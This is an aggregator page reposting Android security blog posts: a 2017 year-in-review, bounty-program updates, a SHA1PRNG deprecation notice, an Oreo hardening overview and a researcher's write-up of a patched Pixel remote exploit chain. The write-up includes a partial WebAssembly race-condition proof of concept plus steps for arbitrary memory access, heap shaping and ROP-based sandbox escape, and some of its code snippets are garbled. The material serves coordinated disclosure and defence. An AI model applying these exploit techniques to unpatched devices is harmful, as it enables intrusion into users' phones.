Mar 16

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Mar 16

Android Security 2017 Year in Review

Originally posted by Dave Kleidermacher, Vice President of Security for Android, Play, ChromeOS, on the Google Security Blog

Our team’s goal is simple: secure more than two billion Android devices. It’s our entire focus, and we’re constantly working to improve our protections to keep users safe.

Today, we’re releasing our fourth annual Android security year in review. We compile these reports to help educate the public about the many different layers of Android security, and also to hold ourselves accountable so that anyone can track our security work over time.

We saw some really positive momentum last year and this post includes some, but not nearly all, of the major moments from 2017. To dive into all the details, you can read the full report at:

Google Play Protect

In May, we announced Google Play Protect, a new home for the suite of Android security services on nearly two billion devices. While many of Play Protect’s features had been securing Android devices for years, we wanted to make these more visible to help assure people that our security protections are constantly working to keep them safe.

Play Protect’s core objective is to shield users from Potentially Harmful Apps, or PHAs. Every day, it automatically reviews more than 50 billion apps, other potential sources of PHAs, and devices themselves and takes action when it finds any.

Play Protect uses a variety of different tactics to keep users and their data safe, but the impact of machine learning is already quite significant: 60.3% of all Potentially Harmful Apps were detected via machine learning, and we expect this to increase in the future.

Protecting users’ devices

Play Protect automatically checks Android devices for PHAs at least once every day, and users can conduct an additional review at any time for some extra peace of mind. These automatic reviews enabled us to remove nearly 39 million PHAs last year.

We also update Play Protect to respond to trends that we detect across the ecosystem. For instance, we recognized that nearly 35% of new PHA installations were occurring when a device was offline or had lost network connectivity. As a result, in October 2017, we enabled offline scanning in Play Protect, and have since prevented 10 million more PHA installs.

Preventing PHA downloads

Devices that downloaded apps exclusively from Google Play were nine times less likely to get a PHA than devices that downloaded apps from other sources. And these security protections continue to improve, partially because of Play Protect’s increased visibility into newly submitted apps to Play. It reviewed 65% more Play apps compared to 2016.

Play Protect also doesn’t just secure Google Play—it helps protect the broader Android ecosystem as well. Thanks in large part to Play Protect, the installation rates of PHAs from outside of Google Play dropped by more than 60%.

Security updates

While Google Play Protect is a great shield against harmful PHAs, we also partner with device manufacturers to make sure that the version of Android running on user devices is up-to-date and secure.

Throughout the year, we worked to improve the process for releasing security updates, and 30% more devices received security patches than in 2016. Furthermore, no critical security vulnerabilities affecting the Android platform were publicly disclosed without an update or mitigation available for Android devices. This was possible due to the Android Security Rewards Program, enhanced collaboration with the security researcher community, coordination with industry partners, and built-in security features of the Android platform.

New security features in Android Oreo

We introduced a slew of new security features in Android Oreo: making it safer to get apps, dropping insecure network protocols, providing more user control over identifiers, hardening the kernel, and more.

We highlighted many of these over the course of the year, but some may have flown under the radar. For example, we updated the overlay API so that apps can no longer block the entire screen and prevent you from dismissing them, a common tactic employed by ransomware.

Openness makes Android security stronger

We’ve long said it, but it remains truer than ever: Android’s openness helps strengthen our security protections. For years, the Android ecosystem has benefitted from researchers’ findings, and 2017 was no different.

Security reward programs

We continued to see great momentum with our Android Security Rewards program: we paid researchers $ 1.28 million, totalling more than two million dollars since the start of the program. We also increased our top-line payouts for exploits that compromise TrustZone or Verified Boot from $ 50,000 to $ 200,000, and remote kernel exploits from $ 30,000 to $ 150,000.

In parallel, we also introduced Google Play Security Rewards program and offered a bonus bounty to developers that discover and disclose select critical vulnerabilities in apps hosted on Play to their developers.

External security competitions

Our teams also participated in external vulnerability discovery and disclosure competitions, such as Mobile Pwn2Own. At the 2017 Mobile Pwn2Own competition, no exploits successfully compromised the Google Pixel. And of the exploits demonstrated against devices running Android, none could be reproduced on a device running unmodified Android source code from the Android Open Source Project (AOSP).

We’re pleased to see the positive momentum behind Android security, and we’ll continue our work to improve our protections this year, and beyond. We will never stop our work to ensure the security of Android users.

Android Developers Blog

Jan 18

Android Security Ecosystem Investments Pay Dividends for Pixel

Posted by the Android Security Team

In June 2017, the Android security team increased the top payouts for the Android Security Rewards (ASR) program and worked with researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the first working remote exploit chain since the ASR program’s expansion. For his detailed report, Gong was awarded $ 105,000, which is the highest reward in the history of the ASR program and $ 7500 by Chrome Rewards program for a total of $ 112,500. The complete set of issues was resolved as part of the December 2017 monthly security update. Devices with the security patch level of 2017-12-05 or later are protected from these issues.

All Pixel devices or partner devices using A/B (seamless) system updates will automatically install these updates; users must restart their devices to complete the installation.

The Android Security team would like to thank Guang Gong and the researcher community for their contributions to Android security. If you’d like to participate in Android Security Rewards program, check out our Program rules. For tips on how to submit reports, see Bug Hunter University.

The following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd.

Technical details of a Pixel remote exploit chain

The Pixel phone is protected by many layers of security. It was the only device that was not pwned in the 2017 Mobile Pwn2Own competition. But in August 2017, my team discovered a remote exploit chain—the first of its kind since the ASR program expansion. Thanks to the Android security team for their responsiveness and help during the submission process.

This blog post covers the technical details of the exploit chain. The exploit chain includes two bugs, CVE-2017-5116 and CVE-2017-14904. CVE-2017-5116 is a V8 engine bug that is used to get remote code execution in sandboxed Chrome render process. CVE-2017-14904 is a bug in Android’s libgralloc module that is used to escape from Chrome’s sandbox. Together, this exploit chain can be used to inject arbitrary code into system_server by accessing a malicious URL in Chrome. To reproduce the exploit, an example vulnerable environment is Chrome 60.3112.107 + Android 7.1.2 (Security patch level 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys). 

The RCE bug (CVE-2017-5116)

New features usually bring new bugs. V8 6.0 introduces support for SharedArrayBuffer, a low-level mechanism to share memory between JavaScript workers and synchronize control flow across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, and futexes. WebAssembly is a new type of code that can be run in modern web browsers— it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages, such as C/C++, with a compilation target so that they can run on the web. By combining the three features, SharedArrayBuffer WebAssembly, and web worker in Chrome, an OOB access can be triggered through a race condition. Simply speaking, WebAssembly code can be put into a SharedArrayBuffer and then transferred to a web worker. When the main thread parses the WebAssembly code, the worker thread can modify the code at the same time, which causes an OOB access.

The buggy code is in the function GetFirstArgumentAsBytes where the argument args may be an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may be backed by a SharedArraybuffer, so the content of the TypedArray may be modified by other worker threads at any time.

i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(
    const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {
  } else if (source->IsTypedArray()) {    //--->source should be checked if it's backed by a SharedArrayBuffer
    // A TypedArray was passed.
    Local<TypedArray> array = Local<TypedArray>::Cast(source);
    Local<ArrayBuffer> buffer = array->Buffer();
    ArrayBuffer::Contents contents = buffer->GetContents();
    start =
        reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();
    length = array->ByteLength();
  return i::wasm::ModuleWireBytes(start, start + length);

A simple PoC is as follows:

<script id="worker1">
       self.onmessage = function(arg) {
        console.log("worker started");
        var ta = new Uint8Array(;
        var i =0;
                ta[51]=0;   //--->4)modify the webassembly code at the same time
function getSharedTypedArray(){
    var wasmarr = [
        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
        0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,
        0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,
        0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,
        0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,
        0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,
        0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];
    var sb = new SharedArrayBuffer(wasmarr.length);           //---> 1)put WebAssembly code in a SharedArrayBuffer
    var sta = new Uint8Array(sb);
    for(var i=0;i<sta.length;i++)
    return sta;
var blob = new Blob([
        ], { type: "text/javascript" })

var worker = new Worker(window.URL.createObjectURL(blob));   //---> 2)create a web worker
var sta = getSharedTypedArray();
worker.postMessage(sta.buffer);                              //--->3)pass the WebAssembly code to the web worker
        var myModule = new WebAssembly.Module(sta);          //--->4)parse the WebAssembly code
        var myInstance = new WebAssembly.Instance(myModule);


The text format of the WebAssembly code is as follows:

00002b func[0]:
00002d: 41 2a                      | i32.const 42
00002f: 0b                         | end
000030 func[1]:
000032: 10 00                      | call 0
000034: 41 01                      | i32.const 1
000036: 6a                         | i32.add
000037: 0b                         | end

First, the above binary format WebAssembly code is put into a SharedArrayBuffer, then a TypedArray Object is created, using the SharedArrayBuffer as buffer. After that, a worker thread is created and the SharedArrayBuffer is passed to the newly created worker thread. While the main thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race condition causes a TOCTOU issue. After the main thread’s bound check, the instruction ” call 0″ can be modified by the worker thread to “call 128″ and then be parsed and compiled by the main thread, so an OOB access occurs.

Because the “call 0″ Web Assembly instruction can be modified to call any other Web Assembly functions, the exploitation of this bug is straightforward. If “call 0″ is modified to “call $ leak”, registers and stack contents are dumped to Web Assembly memory. Because function 0 and function $ leak have a different number of arguments, this results in many useful pieces of data in the stack being leaked.

 (func $  leak(param i32 i32 i32 i32 i32 i32)(result i32)
    i32.const 0
    get_local 0
    i32.const 4
    get_local 1
    i32.const 8
    get_local 2
    i32.const 12
    get_local 3
    i32.const 16
    get_local 4
    i32.const 20
    get_local 5
    i32.const 0

Not only the instruction “call 0″ can be modified, any “call funcx” instruction can be modified. Assume funcx is a wasm function with 6 arguments as follows, when v8 compiles funcx in ia32 architecture, the first 5 arguments are passed through the registers and the sixth argument is passed through stack. All the arguments can be set to any value by JavaScript:

/*Text format of funcx*/
 (func $  simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)
    get_local 5
    get_local 4

/*Disassembly code of funcx*/
--- Code ---
name = wasm#1
compiler = turbofan
Instructions (size = 20)
0x58f87600     0  8b442404       mov eax,[esp+0x4]
0x58f87604     4  03c6           add eax,esi
0x58f87606     6  c20400         ret 0x4
0x58f87609     9  0f1f00         nop

Safepoints (size = 8)
RelocInfo (size = 0)

--- End code ---

When a JavaScript function calls a WebAssembly function, v8 compiler creates a JS_TO_WASM function internally, after compilation, the JavaScript function will call the created JS_TO_WASM function and then the created JS_TO_WASM function will call the WebAssembly function. JS_TO_WASM functions use different call convention, its first arguments is passed through stack. If “call funcx” is modified to call the following JS_TO_WASM function.

/*Disassembly code of JS_TO_WASM function */
--- Code ---
name = js-to-wasm#0
compiler = turbofan
Instructions (size = 170)
0x4be08f20     0  55             push ebp
0x4be08f21     1  89e5           mov ebp,esp
0x4be08f23     3  56             push esi
0x4be08f24     4  57             push edi
0x4be08f25     5  83ec08         sub esp,0x8
0x4be08f28     8  8b4508         mov eax,[ebp+0x8]
0x4be08f2b     b  e8702e2bde     call 0x2a0bbda0  (ToNumber)    ;; code: BUILTIN
0x4be08f30    10  a801           test al,0x1
0x4be08f32    12  0f852a000000   jnz 0x4be08f62  <+0x42>

The JS_TO_WASM function will take the sixth arguments of funcx as its first argument, but it takes its first argument as an object pointer, so type confusion will be triggered when the argument is passed to the ToNumber function, which means we can pass any values as an object pointer to the ToNumber function. So we can fake an ArrayBuffer object in some address such as in a double array and pass the address to ToNumber. The layout of an ArrayBuffer is as follows:

/* ArrayBuffer layouts 40 Bytes*/

/* Map layouts 44 Bytes*/
static kMapOffset = 0,
static kInstanceSizesOffset = 4,
static kInstanceAttributesOffset = 8,
static kBitField3Offset = 12,
static kPrototypeOffset = 16,
static kConstructorOrBackPointerOffset = 20,
static kTransitionsOrPrototypeInfoOffset = 24,
static kDescriptorsOffset = 28,
static kLayoutDescriptorOffset = 1,
static kCodeCacheOffset = 32,
static kDependentCodeOffset = 36,
static kWeakCellCacheOffset = 40,
static kPointerFieldsBeginOffset = 16,
static kPointerFieldsEndOffset = 44,
static kInstanceSizeOffset = 4,
static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5,
static kUnusedOffset = 6,
static kVisitorIdOffset = 7,
static kInstanceTypeOffset = 8,     //one byte
static kBitFieldOffset = 9,
static kInstanceTypeAndBitFieldOffset = 8,
static kBitField2Offset = 10,
static kUnusedPropertyFieldsOffset = 11

Because the content of the stack can be leaked, we can get many useful data to fake the ArrayBuffer. For example, we can leak the start address of an object, and calculate the start address of its elements, which is a FixedArray object. We can use this FixedArray object as the faked ArrayBuffer’s properties and elements fields. We have to fake the map of the ArrayBuffer too, luckily, most of the fields of the map are not used when the bug is triggered. But the InstanceType in offset 8 has to be set to 0xc3(this value depends on the version of v8) to indicate this object is an ArrayBuffer. In order to get a reference of the faked ArrayBuffer in JavaScript, we have to set the Prototype field of Map in offset 16 to an object whose Symbol.toPrimitive property is a JavaScript call back function. When the faked array buffer is passed to the ToNumber function, to convert the ArrayBuffer object to a Number, the call back function will be called, so we can get a reference of the faked ArrayBuffer in the call back function. Because the ArrayBuffer is faked in a double array, the content of the array can be set to any value, so we can change the field BackingStore and ByteLength of the faked array buffer to get arbitrary memory read and write. With arbitrary memory read/write, executing shellcode is simple. As JIT Code in Chrome is readable, writable and executable, we can overwrite it to execute shellcode.

Chrome team fixed this bug very quickly in chrome 61.0.3163.79, just a week after I submitted the exploit.

The EoP Bug (CVE-2017-14904)

The sandbox escape bug is caused by map and unmap mismatch, which causes a Use-After-Unmap issue. The buggy code is in the functions gralloc_map and gralloc_unmap:

static int gralloc_map(gralloc_module_t const* module,
                       buffer_handle_t handle)
{ ……
    private_handle_t* hnd = (private_handle_t*)handle;
    if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&
        !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {
        size = hnd->size;
        err = memalloc->map_buffer(&mappedAddress, size,
                                       hnd->offset, hnd->fd);        //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process.
        if(err || mappedAddress == MAP_FAILED) {
            ALOGE("Could not mmap handle %p, fd=%d (%s)",
                  handle, hnd->fd, strerror(errno));
            return -errno;
        hnd->base = uint64_t(mappedAddress) + hnd->offset;          //---> save mappedAddress+offset to hnd->base
    } else {
        err = -EACCES;
    return err;

gralloc_map maps a graphic buffer controlled by the arguments handle to memory space and gralloc_unmap unmaps it. While mapping, the mappedAddress plus hnd->offset is stored to hnd->base, but while unmapping, hnd->base is passed to system call unmap directly minus the offset. hnd->offset can be manipulated from a Chrome’s sandboxed process, so it’s possible to unmap any pages in system_server from Chrome’s sandboxed render process.

static int gralloc_unmap(gralloc_module_t const* module,
                         buffer_handle_t handle)
    if(hnd->base) {
        err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset);    //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched.
        if (err) {
            ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base,
            return -errno;
        hnd->base = 0;
    return 0;

int IonAlloc::unmap_buffer(void *base, unsigned int size,
        unsigned int /*offset*/)
//---> look, offset is not used by unmap_buffer
    int err = 0;
    if(munmap(base, size)) {
        err = -errno;
        ALOGE("ion: Failed to unmap memory at %p : %s",
              base, strerror(errno));
    return err;

Although SeLinux restricts the domain isolated_app to access most of Android system service, isolated_app can still access three Android system services.

52neverallow isolated_app {
53    service_manager_type
54    -activity_service
55    -display_service
56    -webviewupdate_service
57}:service_manager find;

To trigger the aforementioned Use-After-Unmap bug from Chrome’s sandbox, first put a GraphicBuffer object, which is parseable into a bundle, and then call the binder method convertToTranslucent of IActivityManager to pass the malicious bundle to system_server. When system_server handles this malicious bundle, the bug is triggered.

This EoP bug targets the same attack surface as the bug in our 2016 MoSec presentation, A Way of Breaking Chrome’s Sandbox in Android. It is also similar to Bitunmap, except exploiting it from a sandboxed Chrome render process is more difficult than from an app. 

To exploit this EoP bug:

1. Address space shaping. Make the address space layout look as follows, a heap chunk is right above some continuous ashmem mapping:

7f54600000-7f54800000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f58000000-7f54a00000 rw-s 001fe000 00:04 32783         /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781         /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779         /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777         /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775         /dev/ashmem/360alpha25 (deleted)

2. Unmap part of the heap (1 KB) and part of an ashmem memory (2MB–1KB) by triggering the bug:

7f54400000-7f54600000 rw-s 00000000 00:04 31603         /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
//--->There is a 2MB memory gap
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

3. Fill the unmapped space with an ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603      /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0         [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605       /dev/ashmem/360alpha1001 (deleted)  
//--->The gap is filled with the ashmem memory 360alpha1001
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783      /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781      /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779      /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777      /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775      /dev/ashmem/360alpha25 (deleted)

4. Spray the heap and the heap data will be written to the ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603        /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605          /dev/ashmem/360alpha1001 (deleted)
//--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

5. Because the filled ashmem in step 3 is mapped both by system_server and render process, part of the heap of system_server can be read and written by render process and we can trigger system_server to allocate some GraphicBuffer object in ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a member named common whose type is android_native_base_t, we can read two function points (incRef and decRef) from ashmem memory and then can calculate the base address of the module libui. In the latest Pixel device, Chrome’s render process is still 32-bit process but system_server is 64-bit process. So we have to leak some module’s base address for ROP. Now that we have the base address of libui, the last step is to trigger ROP. Unluckily, it seems that the points incRef and decRef haven’t been used. It’s impossible to modify it to jump to ROP, but we can modify the virtual table of GraphicBuffer to trigger ROP.

typedef struct android_native_base_t
    /* a magic value defined by the actual EGL native type */
    int magic;

    /* the sizeof() of the actual EGL native type */
    int version;

    void* reserved[4];

    /* reference-counting interface */
    void (*incRef)(struct android_native_base_t* base);
    void (*decRef)(struct android_native_base_t* base);
} android_native_base_t;

6.Trigger a GC to execute ROP

When a GraphicBuffer object is deconstructed, the virtual function onLastStrongRef is called, so we can replace this virtual function to jump to ROP. When GC happens, the control flow goes to ROP. Finding an ROP chain in limited module(libui) is challenging, but after hard work, we successfully found one and dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf .


The Android security team responded quickly to our report and included the fix for these two bugs in the December 2017 Security Update. Supported Google device and devices with the security patch level of 2017-12-05 or later address these issues. While parsing untrusted parcels still happens in sensitive locations, the Android security team is working on hardening the platform to mitigate against similar vulnerabilities.

The EoP bug was discovered thanks to a joint effort between 360 Alpha Team and 360 C0RE Team. Thanks very much for their effort.

Android Developers Blog

Jan 15

Kaspersky Lab releases an updated version of Kaspersky Security 8.0 for SharePoint Server

Kaspersky Lab today released an updated version of Kaspersky Security 8.0 for SharePoint Server, which in addition to a number of functional enhancements supports Microsoft SharePoint Server 2013 and improved protection against cyber threats.

Enterprise collaboration solutions greatly simplify the process of solving the daily challenges faced by employees of the companies. However, the
Antivirus and Security News

Jan 13

One Year of Android Security Rewards

A year ago, we added Android Security Rewards to the long standing Google Vulnerability Rewards Program. We offered up to $ 38,000 per report that we used to fix vulnerabilities and protect Android users.

Since then, we have received over 250 qualifying vulnerability reports from researchers that have helped make Android and mobile security stronger. More than a third of them were reported in Media Server which has been hardened in Android N to make it more resistant to vulnerabilities.

While the program is focused on Nexus devices and has a primary goal of improving Android security, more than a quarter of the issues were reported in code that is developed and used outside of the Android Open Source Project. Fixing these kernel and device driver bugs helps improve security of the broader mobile industry (and even some non-mobile platforms).

By the Numbers

Here’s a quick rundown of the Android VRP’s first year:

  • We paid over $ 550,000 to 82 individuals. That’s an average of $ 2,200 per reward and $ 6,700 per researcher.
  • We paid our top researcher, @heisecode, $ 75,750 for 26 vulnerability reports.
  • We paid 15 researchers $ 10,000 or more.
  • There were no payouts for the top reward for a complete remote exploit chain leading to TrustZone or Verified Boot compromise.
Thank you to those who submitted high quality vulnerability reports to us last year.

Improvements to Android VRP

We’re constantly working to improve the program and today we’re making a few changes to all vulnerability reports filed after June 1, 2016.
We’re paying more!
  • We will now pay 33% more for a high-quality vulnerability report with proof of concept. For example, the reward for a Critical vulnerability report with a proof of concept increased from $ 3000 to $ 4000.
  • A high quality vulnerability report with a proof of concept, a CTS Test, or a patch will receive an additional 50% more.
  • We’re raising our rewards for a remote or proximal kernel exploit from $ 20,000 to $ 30,000.
  • A remote exploit chain or exploits leading to TrustZone or Verified Boot compromise increase from $ 30,000 to $ 50,000.
All of the changes, as well as the additional terms of the program, are explained in more detail in our Program Rules. If you’re interested in helping us find security vulnerabilities, take a look at Bug Hunter University and learn how to submit high quality vulnerability reports. Remember, the better the report, the more you’ll get paid. We also recently updated our severity ratings, so make sure to check those out, too.

Thank you to everyone who helped us make Android safer. Together, we made a huge investment in security research that has made Android stronger. We’re just getting started and are looking forward to doing even more in the future.

Android Developers Blog

Jan 03

Security “Crypto” provider deprecated in Android N

Posted by Sergio Giro, software engineer


If your Android app derives keys using the SHA1PRNG algorithm from the Crypto
provider, you must start using a real key derivation function and possibly re-encrypt your data.

The Java Cryptography Architecture allows developers to create an instance of a class like a cipher, or a pseudo-random number generator, using calls like:

SomeClass.getInstance("SomeAlgorithm", "SomeProvider");

Or simply:


For instance,



On Android, we don’t recommend specifying the provider. In general, any call to
the Java Cryptography Extension (JCE) APIs specifying a provider should only be
done if the provider is included in the application or if the application is
able to deal with a possible ProviderNotFoundException.

Unfortunately, many apps depend on the now removed “Crypto” provider for an
anti-pattern of key derivation.

This provider only provided an implementation of the algorithm “SHA1PRNG” for
instances of SecureRandom. The problem is that the SHA1PRNG algorithm is not
cryptographically strong. For readers interested in the details, On
statistical distance based testing of pseudo random sequences and experiments
with PHP and Debian OpenSSL,Section 8.1, by Yongge Want and Tony Nicol,
states that the “random” sequence, considered in binary form, is biased towards
returning 0s, and that the bias worsens depending on the seed.

As a result, in Android N we are deprecating the
implementation of the SHA1PRNG algorithm and the Crypto provider altogether
We’d previously covered the issues with using SecureRandom for key derivation a
few years ago in Using
Cryptography to Store Credentials Safely. However, given its continued use,
we will revisit it here.

A common but incorrect usage of this provider was to derive keys for encryption
by using a password as a seed. The implementation of SHA1PRNG had a bug that
made it deterministic if setSeed() was called before obtaining output. This bug
was used to derive a key by supplying a password as a seed, and then using the
“random” output bytes for the key (where “random” in this sentence means
“predictable and cryptographically weak”). Such a key could then be used to
encrypt and decrypt data.

In the following, we explain how to derive keys correctly, and how to decrypt
data that has been encrypted using an insecure key. There’s also a
full example, including a helper class to use the deprecated SHA1PRNG
functionality, with the sole purpose of decrypting data that would be otherwise

Keys can be derived in the following way:

  • If you’re reading an AES key from disk, just store the actual key and don’t go through this weird dance. You can get a SecretKey for AES usage from the bytes by doing:

    SecretKey key = new SecretKeySpec(keyBytes, "AES");

  • If you’re using a password to derive a key, follow Nikolay Elenkov’s excellent tutorial with the caveat that a good rule of thumb is the salt size should be the same size as the key output. It looks like this:
   /* User types in their password: */
   String password = "password";  

   /* Store these things on disk used to derive key later: */
   int iterationCount = 1000;
   int saltLength = 32; // bytes; should be the same size
              as the output (256 / 8 = 32)
   int keyLength = 256; // 256-bits for AES-256, 128-bits for AES-128, etc
   byte[] salt; // Should be of saltLength  

   /* When first creating the key, obtain a salt with this: */
   SecureRandom random = new SecureRandom();
   byte[] salt = new byte[saltLength];

   /* Use this to derive the key from the password: */
   KeySpec keySpec = new PBEKeySpec(password.toCharArray(), salt,
              iterationCount, keyLength);
   SecretKeyFactory keyFactory = SecretKeyFactory
   byte[] keyBytes = keyFactory.generateSecret(keySpec).getEncoded();
   SecretKey key = new SecretKeySpec(keyBytes, "AES");

That’s it. You should not need anything else.

To make transitioning data easier, we covered the case of developers that have
data encrypted with an insecure key, which is derived from a password every
time. You can use the helper class InsecureSHA1PRNGKeyDerivator in
the example app to derive the key.

 private static SecretKey deriveKeyInsecurely(String password, int
 keySizeInBytes) {
    byte[] passwordBytes = password.getBytes(StandardCharsets.US_ASCII);
    return new SecretKeySpec(
                     passwordBytes, keySizeInBytes),

You can then re-encrypt your data with a securely derived key as explained
above, and live a happy life ever after.

Note 1: as a temporary measure to keep apps working, we decided to still create
the instance for apps targeting SDK version 23, the SDK version for Marshmallow,
or less. Please don’t rely on the presence of the Crypto provider in the Android
SDK, our plan is to delete it completely in the future.

Note 2: Because many parts of the system assume the existence of a SHA1PRNG
algorithm, when an instance of SHA1PRNG is requested and the provider is not
specified we return an instance of OpenSSLRandom, which is a strong source of
random numbers derived from OpenSSL.

Android Developers Blog

Dec 21

Double Stuffed Security in Android Oreo

Posted by Gian G Spicuzza, Android Security team

Android Oreo is stuffed full of security enhancements. Over the past few months,
we’ve covered how we’ve improved the security of the Android platform and its
applications: from making
it safer to get apps, dropping insecure
network protocols, providing more user
control over identifiers, hardening
the kernel, making
Android easier to update, all the way to doubling
the Android Security Rewards payouts. Now that Oreo is out the door, let’s
take a look at all the goodness inside.

Expanding support for hardware security

Android already supports Verified Boot,
which is designed to prevent devices from booting up with software that has been
tampered with. In Android Oreo, we added a reference implementation for Verified
Boot running with Project
Treble, called Android Verified Boot 2.0 (AVB). AVB has a couple of cool
features to make updates easier and more secure, such as a common footer format
and rollback protection. Rollback protection is designed to prevent a device to
boot if downgraded to an older OS version, which could be vulnerable to an
exploit. To do this, the devices save the OS version using either special
hardware or by having the Trusted Execution Environment (TEE) sign the data.
Pixel 2 and Pixel 2 XL come with this protection and we recommend all device
manufacturers add this feature to their new devices.

Oreo also includes the new OEM
Lock Hardware Abstraction Layer (HAL) that gives device manufacturers more
flexibility for how they protect whether a device is locked, unlocked, or
unlockable. For example, the new Pixel phones use this HAL to pass commands to
the bootloader. The bootloader analyzes these commands the next time the device
boots and determines if changes to the locks, which are securely stored in
Replay Protected Memory Block (RPMB), should happen. If your device is stolen,
these safeguards are designed to prevent your device from being reset and to
keep your data secure. This new HAL even supports moving the lock state to
dedicated hardware.

Speaking of hardware, we’ve invested support in tamper-resistant hardware, such
as the security
module found in every Pixel 2 and Pixel 2 XL. This physical chip prevents
many software and hardware attacks and is also resistant to physical penetration
attacks. The security module prevents deriving the encryption key without the
device’s passcode and limits the rate of unlock attempts, which makes many
attacks infeasible due to time restrictions.

While the new Pixel devices have the special security module, all new GMS devices shipping with Android Oreo
are required to implement key
attestation. This provides a mechanism for strongly attesting
IDs such as hardware identifiers.

We added new features for enterprise-managed devices as well. In work profiles,
encryption keys are now ejected from RAM when the profile is off or when your
company’s admin remotely locks the profile. This helps secure enterprise data at

Platform hardening and process isolation

As part of Project
Treble, the Android framework was re-architected to make updates easier and
less costly for device manufacturers. This separation of platform and
vendor-code was also designed to improve security. Following the principle of
least privilege, these HALs run in their own
sandbox and only have access to the drivers and permissions that are
absolutely necessary.

Continuing with the media
stack hardening in Android Nougat, most direct hardware access has been
removed from the media frameworks in Oreo resulting in better isolation.
Furthermore, we’ve enabled Control Flow Integrity (CFI) across all media
components. Most vulnerabilities today are exploited by subverting the normal
control flow of an application, instead changing them to perform arbitrary
malicious activities with all the privileges of the exploited application. CFI
is a robust security mechanism that disallows arbitrary changes to the original
control flow graph of a compiled binary, making it significantly harder to
perform such attacks.

In addition to these architecture changes and CFI, Android Oreo comes with a
feast of other tasty platform security enhancements:

  • Seccomp
    : makes some unused syscalls unavailable to apps so that
    they can’t be exploited by potentially harmful apps.

  • Hardened
    : A recent survey
    of security bugs on Android
    revealed that invalid or missing bounds checking was seen in approximately 45%
    of kernel vulnerabilities. We’ve backported a bounds checking feature to Android
    kernels 3.18 and above, which makes exploitation harder while also helping
    developers spot issues and fix bugs in their code.

  • Privileged Access Never (PAN) emulation: Also backported to
    3.18 kernels and above, this feature prohibits the kernel from accessing user
    space directly and ensures developers utilize the hardened functions to access
    user space.

  • Kernel Address Space Layout Randomization (KASLR):
    Although Android has supported userspace Address Space Layout Randomization
    (ASLR) for years, we’ve backported KASLR to help mitigate vulnerabilities on
